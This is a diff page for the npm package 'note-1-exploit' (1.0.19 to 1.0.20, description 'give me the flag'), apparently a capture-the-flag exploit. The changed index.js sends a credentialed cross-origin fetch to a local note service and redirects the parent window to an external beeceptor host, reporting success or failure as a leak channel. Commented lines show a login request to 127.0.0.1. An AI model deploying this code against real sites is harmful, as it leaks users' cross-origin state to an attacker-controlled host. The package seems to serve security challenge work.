note-1-exploit 1.0.19 → 1.0.20

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +5 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -11,10 +11,13 @@ async function exploit() {
11
11
  "method": "GET",
12
12
  "mode": "cors",
13
13
  "credentials": "include"
14
- }).then(res => res.text());
14
+ }).then(res => {
15
+ window.parent.location.replace("https://omnimna.free.beeceptor.com?q=success");
16
+ })
17
+ .catch((error) => window.parent.location.replace("https://omnimna.free.beeceptor.com?q=fail"));
18
+ // window.parent.location.replace("https://omniman.free.beeceptor.com?q=hahahaha")
15
19
  // let json_results = await all_results.json();
16
20
  // let note_name = (Math.random() + 1).toString(36).substring(7);
17
- window.parent.location.replace("https://omniman.free.beeceptor.com?q=hahahaha")
18
21
  // await fetch("http://127.0.0.1:10082/login", {
19
22
  // "headers": {
20
23
  // "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/127.0.0.1:10082p,image/apng,*/*;q=0.8",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note-1-exploit",
3
- "version": "1.0.19",
3
+ "version": "1.0.20",
4
4
  "description": "give me the flag",
5
5
  "main": "index.js",
6
6
  "scripts": {